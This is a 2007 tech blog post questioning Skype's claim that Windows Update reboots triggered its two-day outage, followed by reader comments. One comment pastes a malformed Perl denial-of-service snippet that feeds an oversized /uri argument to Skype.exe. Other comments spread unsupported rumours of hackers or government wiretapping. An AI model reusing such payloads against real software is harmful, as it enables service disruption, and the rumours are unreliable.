My window to the world


Skype outage caused by Windows Update? Yeah right...

By Mauricio Freitas, in , posted: 21-AUG-2007 08:05

Skype had a very long outage this week. Users around the world, for almost 48 hours, couldn't connect to the global telephony network that runs over Internet services.

Skype was updating its status through a blog, with nothing much more than "bear with us" messages.

People started thinking that hackers had infiltrated the network, bringing down essential servers and clients, making the restart harder.

And then comes the "official" Skype explanation for the outage, which makes no sense at all:


On Thursday, 16th August 2007, the Skype peer-to-peer network became unstable and suffered a critical disruption. The disruption was triggered by a massive restart of our users’ computers across the globe within a very short timeframe as they re-booted after receiving a routine set of patches through Windows Update.

The high number of restarts affected Skype’s network resources. This caused a flood of log-in requests, which, combined with the lack of peer-to-peer network resources, prompted a chain reaction that had a critical impact.

Normally Skype’s peer-to-peer network has an inbuilt ability to self-heal, however, this event revealed a previously unseen software bug within the network resource allocation algorithm which prevented the self-healing function from working quickly. Regrettably, as a result of this disruption, Skype was unavailable to the majority of its users for approximately two days.



Blame Microsoft Windows Update! Call the usual suspects!

But I say this is just some story Skype is seeding... Let's see why:

1.Windows Update by default runs at 3am local time. So even if all Windows-based PCs in the world would restart they would not restart all at the same time, but over a 24 hour "follow the sun" period. The entire Skype user based is spread over 24 time zones, not in a single time zone.

2.Windows Update is delivered every second Tuesday of the month, and has been for the last three years. Why it only happened now?

3.Windows Update starts on Tuesday, and counting the timezones, the last country to reach that time would be here in New Zealand, which happens to be Wednesday morning local time. If the problem happened Thursday as claimed by Skype, this was Friday morning in New Zealand, almost two days after the automatic Windows Update.

So, yes, I think the whole explanation doesn't work.

While a vast number of people use Skype for their PC-to-PC communications, some businesses are actually using the service to create a virtual presence in other markets. I wonder how much business was lost on a 48 hour outage for these companies? Will they trust Skype again?


UPDATE: Skype has posted a new blog entry with comments worth reading:


We don’t blame anyone but ourselves. The Microsoft Update patches were merely a catalyst — a trigger — for a series of events that led to the disruption of Skype, not the root cause of it. And Microsoft has been very helpful and supportive throughout.

The high number of post-update reboots affected Skype’s network resources. This caused a flood of log-in requests, which, combined with the lack of peer-to-peer network resources at the time, prompted a chain reaction that had a critical impact. The self-healing mechanisms of the P2P network upon which Skype’s software runs have worked well in the past. Simply put, every single time Skype has needed to recover from reboots that naturally accompany a routine Windows Update, there hasn’t been a problem.

Unfortunately, this time, for the first time, Skype was unable to rise to the challenge and the reasons for this were exceptional. In this instance, the day’s Skype traffic patterns, combined with the large number of reboots, revealed a previously unseen fault in the P2P network resource allocation algorithm Skype used. Consequently, the P2P network’s self-healing function didn’t work quickly enough. Skype’s peer-to-peer core was not properly tuned to cope with the load and core size changes that occurred on August 16. The reboots resulting from software patching merely served as a catalyst. This combination of factors created a situation where the self-healing needed outside intervention and assistance by our engineers.



Tag(s):     


Other related posts:
What is wrong with TiVo in New Zealand?
What mobile device to get?
The Nokia N900 arrives in Australia, New Zealand waits


 





Comment by Anonymous, on 21-AUG-2007 09:04

The cause of the Skype outage was actually a Russian hacker group. A Google search will reveal the group mentioned, Skype just doesn't want anyone to know.


Comment by Bill, on 21-AUG-2007 09:11

Windows Update?? Believe that, please. Or were the eBay / Skype folks installing the recently mandated "back door" to enable to US government to monitor their user's "encrypted" conversations?


Comment by Nik, on 21-AUG-2007 09:14

I would agree that this explanation does not make sense for the reasons you gave; however, you cannot discount the fact that Windows (or any Microsoft product for that matter) is completely unpredictable and I have often found that updates which are supposed to take place at 3am do not actually take place until up to a week later and times such as 5pm.

I would generally agree though that Windows Update alone probably did not bring down the Skype outage, but it could have played a part.


Comment by george clark, on 21-AUG-2007 09:15

enternet explorer up dated my compac computer I restarted my computer and it told me to remove all google programs in order to continue. I would not do that, two days later my computer was locked up. JUNK

I now own a MAC very happy without microsoft


Comment by John Smote, on 21-AUG-2007 09:20

Indeed a load of crock...

FYI, all of our hardware Skype phones (Linksys) that run some form of Linux could not connect either.

My bet is that the NSA patch failed. Skype (EBay) is no AT&T...


Comment by simon14, on 21-AUG-2007 09:30

I think any business who soley relies on SKYPE to make their calls is just silly.

Sure, use skype for cheap international calling, but don't have it setup as your only phone system!!

Cheap isn't always best!


Comment by Aloha, on 21-AUG-2007 09:32

It was a very lame explanation indeed.

I would like to hear this instead: Sorry guys, the cleaning lady unplugged the server from the socket and we couldnt reach our engineer to restart the system as he was on holiday on the Bahamas.


Comment by Nicholas, on 21-AUG-2007 09:32

Interesting analysis. Twice, late last week my Windows box rebooted itself perhaps following an automatic update (but no virus or spyware found).

Microsoft updates are able to reboot machines - I wonder if that was what actually happened?

International simultaneous reboots would make it hard for P2P to recover if everyone has the same timeouts. If so, it should have also affected BitTorrent, Joost, etc.

It is also possible that a new issue within the Windows update affected how peer to peer worked - and it makes me wonder about automatic updates as a security risk.


Comment by sbiddle, on 21-AUG-2007 10:21

Skype is horrible anyway. A great concept but a closed proprietory P2P protocol is simply no match for a standard like SIP that thousands on companies are now developing hardware and software for.

eBay paid about US$2.5 billion too much for Skype.


Comment by Alberto Steinberg, on 21-AUG-2007 11:07

Indeed you´re right.

In my case I have additional comments:

My IE browser was frozen and didn´t work at all until I quit skype.

Why I didn´t report to Skype support ?

Because I no one to talk about.

I´ve been wondering if this kind of free services may have this free way to go only because many user dosen´t pay a fee.

For those who are paying users I think that Skype at least had to give some practical feedback as some free amount of calls or something like that.

Maybe it´s time to rise some strong competitor to make them more responsibles.


Comment by ScottS, on 21-AUG-2007 11:14

My guess is the network was taken down to upgrade it with "security measures" so that conversations can be electronically tapped. No different then what is currently in place with land lines and run by companies like Amdocs. The truth will probably not surface on this for a while if ever.


Comment by ScottS, on 21-AUG-2007 11:15

My guess is the network was taken down to upgrade it with "security measures" so that conversations can be electronically tapped. No different then what is currently in place with land lines and run by companies like Amdocs. The truth will probably not surface on this for a while if ever.


Comment by Ashwin, on 21-AUG-2007 11:31

Well seems the folks over at the Internet Storm Center might have more concrete information as to what has been happening.

http://isc.sans.org/diary.html?storyid=3292

They seem to have some back end information regarding this issue. Funnily what they talk about has nothing to do with Windows Update or Microsoft.


Comment by Bebop, on 21-AUG-2007 11:50

Actually, depending on the settings, Windows could be able to restart a machine after an update.


Comment by Edwin D, on 21-AUG-2007 12:50

They said they had a bug in their software, which was triggered by too many PC's rebooting all at once after Patch Tuesday.

A bug in their software was what they are blaming.

Guess this blogger did not RTFA.


Comment by A King, on 21-AUG-2007 14:04

Why, oh why do people rely on Microsoft updates? ALL you need is XP PRO with Service Pack 2. (Vista is a typical bloated unworkable microsoft product taken to the Nth unstable degree.) Get a GOOD anti-virus and firewall and turn OFF auto updates. You'll have no more problems. As to the gentleman who had his Compaq pack up, it is a low end piece of garbage to begin with. You are better off without it.


Author's note by freitasm, on 21-AUG-2007 15:36

@Edwin D... First this is not Slashdot. I do not welcome language like yours (explicitly the RTFA).

Second, Skype did think it was Microsoft's fault. Otherwise why would they contact Microsoft to check what was in the Windows Update?


Comment by Sandi, on 21-AUG-2007 17:02

You make some good points which I will add to.

Seriously, think about it, how can Skype have known that the affected computers were logging in **because they had been rebooted after a WU cycle** - PCs don't knock on Skype's server door saying "excuse me, I just had to reboot because of an update". The client simply tries to connect automatically if set to do so, and as far as I know there is no differentiation between connecting after a reboot or connecting after, for example, a wireless network has dropped out or ISP problems, or even the Skype client itself crashing. I suspect that those behind Skype either guessed, or went with what they thought was the most believable reason for the flood of connections.

If it is possible for Skype's software/server was somehow able to tell categorically that your computer has been rebooted **and why it had rebooted**, then I want to know just how they know that, and *what else* they know.


Comment by Sandi, on 21-AUG-2007 17:03

Also, an interesting theory:
http://myitforum.com/cs2/blogs/cmosby/archive/2007/08/17/f-secure-news-from-the-lab-run-run-skype-is-falling.aspx

"Skype's main development unit is in Estonia. Estonia's infrastructure was targeted by massive denial-of-service attacks earlier this year. This tied together with the fact that a new Denial-of-Service exploit against Skype server software was posted to securitylab.ru just hours ago has created lots rumors about what's really going on. ... The exploit is quite simple and causes Skype client software to generate a large amount of calls, freezing the server it's connected to – and causing a reconnect to another server."


Comment by barf, on 21-AUG-2007 17:48

If it was windows update, then shouldn't they have FEWER connections during the reboots?

"According to ISC Reader Raul, the VOIPSA list has another theory that the crash was in fact a malicious DDoS.  There is a proof-of-concept code that will send malformed URIs to Skype Servers that will cripples them and allow them to transverse the entire server list.  The ultimate result, assuming enough malicious users do it, is a DoS against the entire balance of Skype servers." - http://isc.sans.org/diary.html?storyid=3292

I mean, just look at how easy it is to DoS skype. How can they blame window update without looking stupid?

#!/usr/bin/perl
# Simle Code by Maranax Porex ;D
# Ya Skaypeg!!

for ($i=256; $i>xCCCCC; $i=$i+256){
$eot='AAAA' x $i;
call_sp();
}
exit;

sub call_sp(){
$str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\"";
}


Author's note by freitasm, on 22-AUG-2007 08:14

I am not sure what's going on, but a recurring theme in a lot of messages I received is shown through this comment:

"From the grape vine I hear the outage was necessary so now the US government can now digitally listen to all conversations and record them, where as this was not posisble before.  Basically every phone call is now being monitored and recorded for security reasons."

This is also something others posted in the comments here in the blog.

Strange? Too many conspiracy theorists?


Comment by David Novakovic, on 22-AUG-2007 10:13

DISCLAIMER: I don't like MS, and i don't like skype.

Well skype were very careful to say that the problem was in their own software. They worked with microsoft to find out what might have triggered it, this shows the strength of their relationship with microsoft not that they were blaming microsoft.

Who else would they call to find out what happened? Linus? Seems pretty obvious that microsoft would want to work with the largest e-telephony company in the world to get things back on the right track again.

Software is complex, especially p2p software.


Comment by mike mcgrath, on 22-AUG-2007 16:04

http://mike-mcgrath.wordpress.com/2007/08/21/skype-says-the-bug-has-been-squashed/


Add a comment

Please note: comments that are inappropriate or promotional in nature will be deleted. E-mail addresses are not displayed, but you must enter a valid e-mail address to confirm your comments.

Are you a registered Geekzone user? Login to have the fields below automatically filled in for you and to enable links in comments. If you have (or qualify to have) a Geekzone Blog then your comment will be automatically confirmed and shown in this blog post.

Your name:

Your e-mail:

Your webpage:

freitasm's profile

Mauricio Freitas
Wellington
New Zealand


I live in New Zealand and my interests include mobile devices, good books, movies and food of course! 

I'm the Geekzone admin. On Geekzone we publish news, reviews and articles on technology topics. The site also has some busy forums and is part of the Microsoft Featured Communities.

Subscribe now to my Geekzone Blog RSS feed or the Geekzone RSS feed.

If you want to contact me, please use this page or email me at freitasm@geekzone.co.nz. Note that this is not for technical support. I don't give technical support. You can use our Geekzone Forums for community discussions on technical issues.

Here's is my full disclosure post.

Blog template by Su Yin.



Social networks


My Blog by tags...

Blog...
Entrepreneurship...
Media...
Personal...
Technology...
Viral Marketing...
Windows...
Windows Mobile...


Other recent posts in my blog

What is wrong with TiVo in New...
What mobile device to get?...
The Nokia N900 arrives in Aust...
ISP Filtering is happening in ...
Disappointing Twitter response...
Defamation, harassement on Twi...
Impound Reynold's Passport blo...
Free international calls offer...
Adobe Photoshop is 20 and here...
Browser and OS stats for Geekz...


Some links

Diskeeper
Mozy online backup
mywedding - dynamic websites for couples
Seagulls - meeting and event venue in Wellington

Recent comments received

siideways on ISP Filtering is happening in Australia, don't let: Orcon just confirmed they won't be doing it.They recently tweeted:"We understand...

Bodysoda on What is wrong with TiVo in New Zealand?: Tivo should scrap the Home network software and make it open source software sim...

freitasm on The Nokia N900 arrives in Australia, New Zealand w: timmyh, here are some answers from Nokia:Q. What is the roadmap that Nokia outli...

Lukas Svoboda on Government plans to filter New Zealand Internet: Arguing about this level of censorship and monitoring because it's going to allo...

inane on Government plans to filter New Zealand Internet: ... first they blocked the child porn, but i did nothing for I am not a pedophil...

mail2mm on What is wrong with TiVo in New Zealand?: I am a happy Telecom phone and broadband customer so TiVo's Telecom affiliation...

thingswelike on What is wrong with TiVo in New Zealand?: TiVo have a deliberate strategy of avoiding Freeview references. But imo that st...

hsaf on DHL delay still on...: I HATE ALL THE WORLD DHL AND THIER SERVICE. WILL NEVER EVER USE DHL UNTILL I ALI...

Fo0L on What is wrong with TiVo in New Zealand?: Tivos great. Easy to use, plenty of space, I even had the Home Networking Packa...

freitasm on What is wrong with TiVo in New Zealand?: LinuxLover, TiVo works with any ISP in New Zealand to download the EPG. You only...



New posts on Geekzone